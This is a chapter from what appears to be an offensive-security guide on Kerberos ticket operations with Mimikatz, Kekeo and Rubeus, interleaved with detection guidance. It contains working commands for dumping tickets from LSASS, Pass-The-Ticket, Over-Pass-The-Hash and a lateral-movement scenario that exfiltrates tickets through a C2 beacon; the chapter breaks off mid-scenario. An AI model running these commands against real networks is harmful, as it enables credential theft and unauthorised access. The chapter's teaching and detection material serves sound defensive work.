Chapter 25: Kerberos Ticket Operations¶
Introduction¶
Kerberos authentication is fundamentally ticket-based. Unlike password-based authentication where credentials are repeatedly transmitted and validated, Kerberos issues cryptographic tickets that prove identity and grant access to resources. Understanding how to list, export, import, renew, and request tickets is essential for both offensive operations using Mimikatz and defensive monitoring to detect ticket-based attacks.
Both Mimikatz and its companion tool Kekeo provide comprehensive capabilities for manipulating Kerberos tickets. These tools can interact with tickets in multiple ways:
- Listing tickets stored in LSASS memory for current or all logon sessions
- Exporting tickets from memory to KIRBI files or Base64 strings
- Importing tickets into logon sessions for authentication
- Renewing tickets before they expire to maintain access
- Requesting new tickets using credentials (password, hash, or AES keys)
The ability to extract tickets from one system and inject them into another enables powerful attack techniques like Pass-The-Ticket, where stolen tickets grant immediate access to resources without needing passwords. Combined with forged tickets (Golden and Silver Tickets covered in later chapters), ticket manipulation represents one of the most potent capabilities in the Mimikatz arsenal.
Windows stores Kerberos tickets in LSASS memory within each logon session. Every interactive or network logon creates a logon session identified by a Locally Unique Identifier (LUID), and each logon session maintains its own ticket cache. This isolation means that different users logged onto the same system have separate ticket caches, and extracting all tickets requires administrative access to LSASS memory.
This chapter provides a comprehensive guide to Kerberos ticket operations using Mimikatz and Kekeo, exploring the technical implementation details, operational security considerations, detection opportunities, and practical attack scenarios. Mastering these fundamentals is prerequisite to understanding advanced Kerberos attacks like Golden Tickets, Silver Tickets, and delegation abuse.
Ticket Storage in Windows¶
LSASS Memory Structure¶
Windows stores Kerberos tickets in the Local Security Authority Subsystem Service (LSASS) process memory. Specifically, tickets reside in the Kerberos Security Support Provider (SSP) data structures.
Memory Organization:
LSASS Process (lsass.exe)
└── Kerberos SSP (kerberos.dll)
└── Logon Session List
└── Logon Session (LUID: 0x3e7, User: alice)
├── TGT (Ticket Granting Ticket)
│ - Service: krbtgt/CORP.LOCAL
│ - Encrypted with krbtgt hash
│ - Contains session key and PAC
└── TGS List (Service Tickets)
├── CIFS/fileserver.corp.local
├── HTTP/webserver.corp.local
└── LDAP/dc01.corp.local
Logon Session Identification:
- LUID (Locally Unique Identifier): 64-bit value uniquely identifying each logon session
- Format: High:Low (e.g., 0x0:0x3e7 = 0:999)
- System LUID: 0x0:0x3e7 (999) - LocalSystem account
- Network Service LUID: 0x0:0x3e4 (996)
- Local Service LUID: 0x0:0x3e5 (997)
- User LUIDs: Dynamically assigned during logon (typically > 0x10000)
Ticket Types¶
Ticket Granting Ticket (TGT):
- Service Name: krbtgt/DOMAIN.LOCAL
- Encrypted with krbtgt account's password hash
- Used to request service tickets (TGS)
- Valid for 10 hours by default (renewable for 7 days)
- Contains user's PAC with SID and group memberships
- Only one TGT per logon session
Ticket Granting Service Ticket (TGS):
- Service Name: Specific SPN (e.g., CIFS/fileserver.corp.local)
- Encrypted with target service account's password hash
- Used to authenticate to specific services
- Valid for 10 hours by default (renewable for 7 days)
- Contains copy of PAC from TGT
- Multiple TGS tickets can exist per logon session
Delegation Tickets: - Forwardable TGTs included in TGS for unconstrained delegation - Allow service to impersonate user to other services - Stored in service's ticket cache when user accesses service - Exploitable to capture user credentials (Chapter 30)
KIRBI File Format¶
When tickets are exported, they're saved in .kirbi (Kerberos Binary) format.
File Structure:
KIRBI File = ASN.1 DER-Encoded KRB-CRED Structure
KRB-CRED:
- pvno: 5 (Kerberos version 5)
- msg-type: KRB_CRED (22)
- tickets: Array of tickets
- Ticket:
- tkt-vno: 5
- realm: CORP.LOCAL
- sname: Service Principal Name
- enc-part: Encrypted ticket data
- enc-part: Encrypted part containing session keys
Example Filename Convention:
Username@REALM_ServiceName~REALM@REALM_Source.kirbi
Examples:
- alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi (TGT)
- bob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi (TGS)
KIRBI files can be opened with ASN.1 editors (like ASN.1 Editor or online tools) to inspect ticket structures, encryption types, timestamps, and flags.
Listing Tickets¶
kerberos::list - Current Session Tickets¶
The kerberos::list command lists tickets in the current user's logon session.
Syntax:
kerberos::list [/export]
Parameters:
- /export - Optional. Exports all listed tickets to KIRBI files.
Usage Example (Mimikatz):
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::list
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL
Client Name : alice @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[00000001] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 11/30/2024 4:56:30 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
Server Name : CIFS/fileserver.corp.local @ CORP.LOCAL
Client Name : alice @ CORP.LOCAL
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Usage Example (Kekeo):
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM] {R:12/7/2024 4:23:17 PM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 0000000000000000000000000000000000000000000000000000000000000000
Field Explanations:
Ticket Encryption Type:
- Mimikatz Format: [00000000] - 0x00000012 - aes256_hmac
- Kekeo Format: [krb-cred] E: [00000012] aes256_hmac
- Common Types:
0x12(18): AES256-CTS-HMAC-SHA1-960x11(17): AES128-CTS-HMAC-SHA1-960x17(23): RC4-HMAC (uses NT hash as key)
Timestamps:
- Mimikatz: Start/End/MaxRenew
- Kekeo: [enc-krb-cred] T: [Start ; End] {R:MaxRenew}
- Start: When ticket becomes valid
- End: When ticket expires (EndTime)
- MaxRenew: Latest time ticket can be renewed (renew-till)
Server Name:
- Mimikatz: Server Name: krbtgt/CORP.LOCAL @ CORP.LOCAL
- Kekeo: [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
- Format: Service/Instance @ REALM
- TGT: Always krbtgt/DOMAIN
- TGS: Service SPN (e.g., CIFS/fileserver.corp.local, HTTP/webserver.corp.local)
Client Name:
- Mimikatz: Client Name: alice @ CORP.LOCAL
- Kekeo: [enc-krb-cred] P: alice @ CORP.LOCAL
- Account for whom ticket was issued
Flags:
- Format: Hexadecimal bitmask (e.g., 40e10000)
- Common Flags:
forwardable (0x40000000): Can be forwarded to other hostsforwarded (0x20000000): Has been forwardedproxiable (0x08000000): Can be proxiedrenewable (0x00800000): Can be renewedinitial (0x00400000): Initial authentication (TGT)pre_authent (0x00200000): Pre-authentication was usedok_as_delegate (0x00040000): Delegation allowedname_canonicalize (0x00010000): Name canonicalization requested
Encryption Key (Kekeo only):
- Field: [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac)
- Session key for ticket
- TGTs for local admin accounts: Always shows 000... (cannot be exported)
- Regular tickets: Shows actual AES/RC4 key value
Technical Implementation:
Both Mimikatz and Kekeo use the LsaCallAuthenticationPackage() Windows API function with the Kerberos package to query the ticket cache:
// Simplified pseudocode
NTSTATUS status;
KERB_QUERY_TKT_CACHE_REQUEST request;
PKERB_QUERY_TKT_CACHE_RESPONSE response;
request.MessageType = KerbQueryTicketCacheMessage;
request.LogonId.LowPart = 0;
request.LogonId.HighPart = 0;
status = LsaCallAuthenticationPackage(
hLsa,
authPackage,
&request,
sizeof(request),
&response,
&responseLength,
&protocolStatus
);
Operational Security:
- Uses legitimate Windows API (klist.exe uses the same API)
- Does not require LSASS memory access
- Does not generate Security Event IDs
- Sysmon does not log this operation
- Operationally safe for listing current user's tickets
sekurlsa::tickets - All Session Tickets¶
The sekurlsa::tickets command lists tickets for all users on the system by reading LSASS memory directly.
Syntax:
sekurlsa::tickets [/export]
Requirements:
- Administrative privileges or SYSTEM account
- SeDebugPrivilege (obtained via privilege::debug)
- LSASS process access permissions
Usage Example:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets
Authentication Id : 0 ; 602058 (00000000:00092fca)
Session : Interactive from 1
User Name : alice
Domain : CORP
Logon Server : DC01
Logon Time : 11/30/2024 7:40:32 PM
SID : S-1-5-21-123456789-123456789-123456789-1001
* Username : alice
* Domain : CORP.LOCAL
* Password : (null)
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
Service Name (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
Target Name (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
Client Name (01) : alice ; @ CORP.LOCAL
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...]
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Target Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
Client Name (01) : alice ; @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
[... Additional logon sessions ...]
Output Organization: - Authentication Id: LUID (Logon ID) of the session - Session: Session type (Interactive, Network, RemoteInteractive, etc.) - User Name: SAM account name - Domain: NetBIOS domain name - Logon Server: DC that authenticated the user - Logon Time: When user logged on - SID: Security Identifier - Group 0: Ticket Granting Service (TGS) tickets - Group 2: Ticket Granting Ticket (TGT)
Technical Implementation:
sekurlsa::tickets opens LSASS with PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_VM_READ, then directly parses Kerberos SSP memory structures:
// Simplified pseudocode
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, lsassPID);
// Walk logon session list
for each logon_session in lsass_memory:
parse_kerberos_logon_session(logon_session)
enumerate_tickets_in_session()
Detection Opportunity:
Sysmon Event ID 10 (ProcessAccess):
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>10</EventID>
</System>
<EventData>
<Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
<Data Name="TargetImage">C:\Windows\system32\lsass.exe</Data>
<Data Name="GrantedAccess">0x1010</Data>
<Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d234|...</Data>
</EventData>
</Event>
Indicators:
- SourceImage from non-standard location (not System32)
- GrantedAccess: 0x1010 (PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION)
- TargetImage: lsass.exe
Defense: - Monitor Sysmon Event ID 10 for LSASS access - Baseline legitimate LSASS access (svchost, services, MsMpEng) - Alert on unexpected processes accessing LSASS - Enable LSA Protected Process Light (PPL) to block unauthorized access
Exporting Tickets¶
Exporting to KIRBI Files¶
Tickets can be exported from memory to binary KIRBI files for later use or analysis.
Command:
kerberos::list /export
sekurlsa::tickets /export
Example (Mimikatz):
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 602058
...
Group 2 - Ticket Granting Ticket
[00000000]
...
> Saved to file: 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
Group 0 - Ticket Granting Service
[00000000]
...
> Saved to file: 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbi
Files are written to the current working directory with naming convention:
LogonId-GroupNum-TicketNum-Flags-User@Service-Realm.kirbi
Example (Kekeo with file output):
kekeo # kerberos::list /export
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
...
> Ticket in file 'alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi'
Exporting to Base64¶
To avoid writing files to disk (which may trigger AV/EDR), tickets can be output as Base64 strings.
Enable Base64 Output (Kekeo):
kekeo # base64 /out:true
isBase64InterceptInput is false
isBase64InterceptOutput is true
kekeo # kerberos::list /export
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 5:14:01 PM ; 12/1/2024 3:14:01 AM] {R:12/7/2024 5:14:01 PM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 000000000000...
====================
Base64 of file : alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi
====================
doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM
QUJTLlBWVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMQUNNRUxBQlMuUFZUo4ID3DCC
A9igAwIBEqEDAgECooIDygSCA8ZPIsHXMyZF9pnt9hs3dZoiIoJx2m37SM5kRFqp
... [base64 string continues]
Operational Benefits: - No file artifacts on disk - Bypasses file-based detection (AV signatures on .kirbi extension) - Can transmit tickets over network/clipboard - Reduced forensic footprint
Recreating KIRBI from Base64:
# PowerShell on attacker system
$base64 = "doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE..."
[IO.File]::WriteAllBytes("C:\tickets\alice.kirbi", [Convert]::FromBase64String($base64))
Detection of Ticket Exports¶
File System Monitoring:
- Monitor for creation of .kirbi files
- Alert on multiple small files created in temp directories
- Sysmon Event ID 11 (FileCreate) with TargetFilename matching *.kirbi
Example Sysmon Rule:
<RuleGroup name="Ticket Export Detection" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="end with">.kirbi</TargetFilename>
</FileCreate>
</RuleGroup>
Process Monitoring: - Correlate LSASS access (Event ID 10) with file creation - Alert on unusual processes exporting tickets - Baseline normal ticket export behavior (if any)
Importing Tickets¶
Pass-The-Ticket with kerberos::ptt¶
The kerberos::ptt (Pass-The-Ticket) command imports tickets into the current logon session.
Syntax:
kerberos::ptt <ticket_file_or_directory>
kerberos::ptt <base64_string> # After enabling base64 input
Import from Directory:
kekeo # kerberos::purge
Ticket(s) purge for current session is OK
kekeo # kerberos::ptt C:\temp\tickets
* Directory: 'C:\temp\tickets'
* File: 'C:\temp\tickets\alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi': OK
* File: 'C: emp icketsob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi': OK
All .kirbi files in the directory are imported.
Import Specific File:
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
* File: 'C:\tickets\alice_tgt.kirbi': OK
Import from Base64:
kekeo # base64 /in:true
isBase64InterceptInput is true
isBase64InterceptOutput is false
kekeo # kerberos::ptt doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM...
* File: 'doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM...': OK
TGT Replacement Behavior¶
Critical Limitation: Each logon session can only have one TGT. When multiple TGTs are imported, the last TGT replaces previous TGTs.
Example Demonstration:
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: bob @ CORP.LOCAL
...
kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: alice @ CORP.LOCAL
... (bob's TGT is now replaced by alice's TGT)
kekeo # kerberos::ptt charlie_tgt.kirbi
* File: 'charlie_tgt.kirbi': OK
kekeo # kerberos::list
[krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
[enc-krb-cred] P: charlie @ CORP.LOCAL
... (alice's TGT is now replaced by charlie's TGT)
Operational Implication: - Only the most recently imported TGT is active - Service tickets (TGS) are cumulative and do not replace each other - To switch between user contexts, import the desired user's TGT
Ticket Validation on Import¶
LSASS validates tickets before accepting them:
Validation Checks:
1. Ticket Expiration: EndTime must be in the future
2. ASN.1 Structure: Ticket must be properly formatted
3. Encryption: Ticket structure must decrypt correctly (though content isn't fully validated)
Import of Expired Ticket:
kekeo # kerberos::ptt C:\tickets\expired_tgt.kirbi
* File: 'C:\tickets\expired_tgt.kirbi': ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : c0000133
ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c0000133
Error Code c0000133: STATUS_PKINIT_FAILURE or invalid/expired ticket
Operational Consideration:
- Track ticket EndTime to ensure tickets are still valid
- Renew tickets before expiration (covered below)
- Golden/Silver Tickets can specify arbitrary expiration times
Using Imported Tickets¶
Once imported, tickets are immediately available for authentication:
Example: Accessing File Share
kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK
C:\> net use \fileserver\share
The command completed successfully.
C:\> dir \fileserver\share
Volume in drive \fileserver\share
Directory of \fileserver\share
...
Example: PowerShell Remoting
# After importing TGT
PS C:\> Enter-PSSession -ComputerName server01
[server01]: PS C:\> whoami
corp\alice
Technical Process: 1. Application (net.exe, powershell.exe) requests network authentication 2. LSASS checks ticket cache for matching TGT 3. LSASS requests TGS using imported TGT 4. KDC validates TGT and issues TGS 5. Application uses TGS to authenticate to service 6. Service validates TGS and grants access
Detection Opportunity:
Event ID 4648 (Explicit Credential Logon): When tickets are imported, Windows may log Event ID 4648 if explicit credential usage is detected.
Event ID 4768/4769 (Kerberos TGT/TGS Requests): On domain controller:
- 4768: TGT request (when TGT is used to request TGS)
- 4769: TGS request
Anomaly Detection: - User requesting TGS from unusual IP address - Ticket usage pattern inconsistent with user's normal behavior - Multiple users' tickets used from single system
Renewing Tickets¶
Ticket Renewal Overview¶
Kerberos tickets have limited lifetime (default 10 hours). To maintain access without re-authenticating, tickets can be renewed.
Renewal Requirements:
- Ticket must have renewable flag set
- Current time must be before EndTime (ticket not yet expired)
- Current time must be before renew-till (maximum renewal time, default 7 days)
Renewal Process:
1. Client sends TGS-REQ with renew flag and existing ticket
2. KDC validates ticket hasn't expired
3. KDC verifies renewal is within renew-till window
4. KDC issues new ticket with updated StartTime and EndTime
5. New ticket's renew-till remains unchanged from original
tgs::renew Command (Kekeo)¶
Syntax:
tgs::renew /ticket:<kirbi_file> [/ptt]
tgs::renew /tgt:<kirbi_file> [/ptt]
tgs::renew /tgs:<kirbi_file> [/ptt]
Parameters:
- /ticket:<file> - Ticket to renew (.kirbi file). Aliases: /tgt, /tgs
- /ptt - Import renewed ticket into current session
Check Current Time:
kekeo # localtime
Local: 11/30/2024 5:03:53 AM
UTC : 11/30/2024 9:03:53 AM
Checking local time is critical when operating across time zones to ensure tickets haven't expired.
Renew TGS Ticket:
kekeo # tgs::renew /ticket:alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi /ptt
Ticket : alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi
[krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[enc-krb-cred] T: [11/29/2024 9:30:17 PM ; 11/30/2024 7:30:17 AM] {R:12/6/2024 9:30:17 PM}
[enc-krb-cred] F: [40a50000] name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8...
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> CIFS/fileserver.corp.local : OK!
kekeo # kerberos::list
[krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: alice @ CORP.LOCAL
[enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
[enc-krb-cred] T: [11/30/2024 5:05:11 AM ; 11/30/2024 3:05:11 PM] {R:12/6/2024 9:30:17 PM}
... (EndTime extended by 10 hours, renew-till unchanged)
Observations:
- Original EndTime: 11/30/2024 7:30:17 AM
- Renewed EndTime: 11/30/2024 3:05:11 PM (10 hours later)
- renew-till: 12/6/2024 9:30:17 PM (unchanged)
Renew TGT:
kekeo # tgs::renew /tgt:alice_tgt.kirbi /ptt
TGTs can also be renewed following the same process.
Detection of Ticket Renewal¶
Event ID 4770: Kerberos Service Ticket Renewal
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4770</EventID>
</System>
<EventData>
<Data Name="TargetUserName">alice@CORP.LOCAL</Data>
<Data Name="TargetDomainName">CORP.LOCAL</Data>
<Data Name="ServiceName">CIFS/fileserver.corp.local</Data>
<Data Name="ServiceSid">S-1-5-21-...</Data>
<Data Name="TicketOptions">0x40800000</Data>
<Data Name="TicketEncryptionType">0x12</Data>
<Data Name="IpAddress">::ffff:10.1.1.15</Data>
<Data Name="IpPort">55123</Data>
</EventData>
</Event>
Anomaly Detection: - Frequent renewals from unusual IP addresses - Renewal patterns inconsistent with user behavior - Renewals occurring after user has logged off
Describing Tickets (Rubeus)¶
To inspect ticket details without tracking metadata, use Rubeus:
PS C:\> .\Rubeus.exe describe /ticket:C:\tickets\alice_tgt.kirbi
[*] Action: Describe Ticket
ServiceName : krbtgt/CORP.LOCAL
ServiceRealm : CORP.LOCAL
UserName : alice
UserRealm : CORP.LOCAL
StartTime : 11/30/2024 10:27:06 PM
EndTime : 12/1/2024 8:27:06 AM
RenewTill : 12/7/2024 10:27:06 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : wcGqw7TkXtf2q7hsydDh8uPzRE...
Rubeus provides human-readable ticket details, useful for operational planning.
Requesting Tickets¶
tgt::ask - Request New TGT (Kekeo)¶
The tgt::ask command requests a new TGT from the KDC using credentials.
Syntax:
tgt::ask /user:<username> /domain:<domain> {/password:<password> | /rc4:<hash> | /aes128:<key> | /aes256:<key>} [/kdc:<dc>] [/ptt]
Parameters:
- /user:<username> - SAMAccountName or UPN (alice or alice@corp.local)
- /domain:<domain> - Domain FQDN (corp.local)
- /password:<password> - Cleartext password
- /rc4:<hash> - NT hash (RC4 key for Kerberos etype 23)
- /aes128:<key> - AES128 key (etype 17)
- /aes256:<key> - AES256 key (etype 18)
- /kdc:<dc> - Specific domain controller (optional, auto-discovered if omitted)
- /ptt - Import resulting TGT into current session
Example: Request TGT with Password
kekeo # tgt::ask /user:alice /password:Password123! /domain:corp.local
Realm : corp.local (CORP)
User : alice (alice)
CName : alice [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
Observations:
- Kekeo auto-discovered KDC: dc01.corp.local at 10.1.1.4
- Authentication used RC4-HMAC (etype 23) by default
- TGT saved to kirbi file (no /ptt specified)
Example: Request TGT with NT Hash
kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm : corp.local (CORP)
User : bob (bob)
CName : bob [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): 64f12cddaa88057e06a81b54e73b949b
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
> Ticket imported in current session
This is Over-Pass-The-Hash (Chapter 28)—using NT hash to request Kerberos TGT.
Example: Request TGT with AES256 Key
kekeo # tgt::ask /user:admin /aes256:c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 /domain:corp.local /ptt
Realm : corp.local (CORP)
User : admin (admin)
CName : admin [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_admin@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
> Ticket imported in current session
Uses AES256 encryption (etype 18), stronger than RC4.
Detection of TGT Requests¶
Event ID 4768: Kerberos TGT Request (Domain Controller)
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4768</EventID>
</System>
<EventData>
<Data Name="TargetUserName">alice</Data>
<Data Name="TargetDomainName">CORP.LOCAL</Data>
<Data Name="TargetSid">S-1-5-21-...</Data>
<Data Name="ServiceName">krbtgt</Data>
<Data Name="ServiceSid">S-1-5-21-...-502</Data>
<Data Name="TicketOptions">0x40800010</Data>
<Data Name="Status">0x0</Data>
<Data Name="TicketEncryptionType">0x12</Data>
<Data Name="PreAuthType">2</Data>
<Data Name="IpAddress">::ffff:10.1.1.15</Data>
<Data Name="IpPort">55903</Data>
</EventData>
</Event>
Normal Indicators:
- PreAuthType: 2 (PA-ENC-TIMESTAMP - pre-authentication)
- Status: 0x0 (success)
- TicketEncryptionType: 0x12 or 0x11 (AES)
Anomaly Detection: - User requesting TGT from unusual IP (geo-location, not typical workstation) - Account requesting TGT outside normal working hours - Service account requesting TGT interactively (should use service logon)
Sysmon Event ID 3: Network Connection to Port 88 (Client)
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>3</EventID>
</System>
<EventData>
<Data Name="Image">C:\Tools\kekeo.exe</Data>
<Data Name="User">CORP\alice</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="SourceIp">10.1.1.15</Data>
<Data Name="SourcePort">55903</Data>
<Data Name="DestinationIp">10.1.1.4</Data>
<Data Name="DestinationPort">88</Data>
</EventData>
</Event>
Critical Detection Point: Normal Kerberos authentication originates from lsass.exe. If any other process connects to port 88 (Kerberos), it's highly suspicious.
Detection Rule:
Alert on Sysmon Event ID 3 WHERE:
- DestinationPort = 88
- Image != "C:\Windows\System32\lsass.exe"
This detects tools like Kekeo, Rubeus, Impacket requesting Kerberos tickets directly instead of through LSASS.
Attack Scenarios¶
Scenario 1: Lateral Movement with Exported Tickets¶
Context: Attacker compromises workstation, extracts tickets, uses them on different system.
Attack Flow:
Step 1: Initial Compromise (WORKSTATION01)
- Phishing email delivers payload
- User "alice" executes malicious attachment
- Attacker gains code execution as alice
Step 2: Extract Tickets
# From C2 beacon on WORKSTATION01
beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::tickets /export
# Tickets extracted:
# - alice TGT
# - alice TGS for CIFS/fileserver.corp.local
# - alice TGS for HTTP/intranet.corp.local
Step 3: Exfiltrate Tickets
beacon> download 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
beacon> download 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbi
Step 4: Import on Attacker-Controlled System
# On KALI Linux with Impacket
$ export KRB5CCNAME=/tmp/alice.ccache
$ ticketConverter.py alice@krbtgt-CORP.LOCAL.kirbi alice.ccache
# Or on Windows attacker workstation
C:\> kekeo.exe
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
* File: 'C:\tickets\alice_tgt.kirbi': OK
Step 5: Access Resources
C:\> dir \\fileserver.corp.local\finance$
Volume in drive \\fileserver.corp.local\finance$
...
C:\> copy \\fileserver.corp.local\finance$\confidential_data.xlsx C:\exfil\
Result: Attacker uses alice's stolen ticket to access file shares without needing her password.
Scenario 2: Credential-Based TGT Request (Over-Pass-The-Hash)¶
Context: Attacker dumps credentials, requests TGT to access resources.
Attack Flow:
Step 1: Credential Dumping
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
...
msv :
* Username : bob
* Domain : CORP
* NTLM : 64f12cddaa88057e06a81b54e73b949b
Step 2: Request TGT with Hash
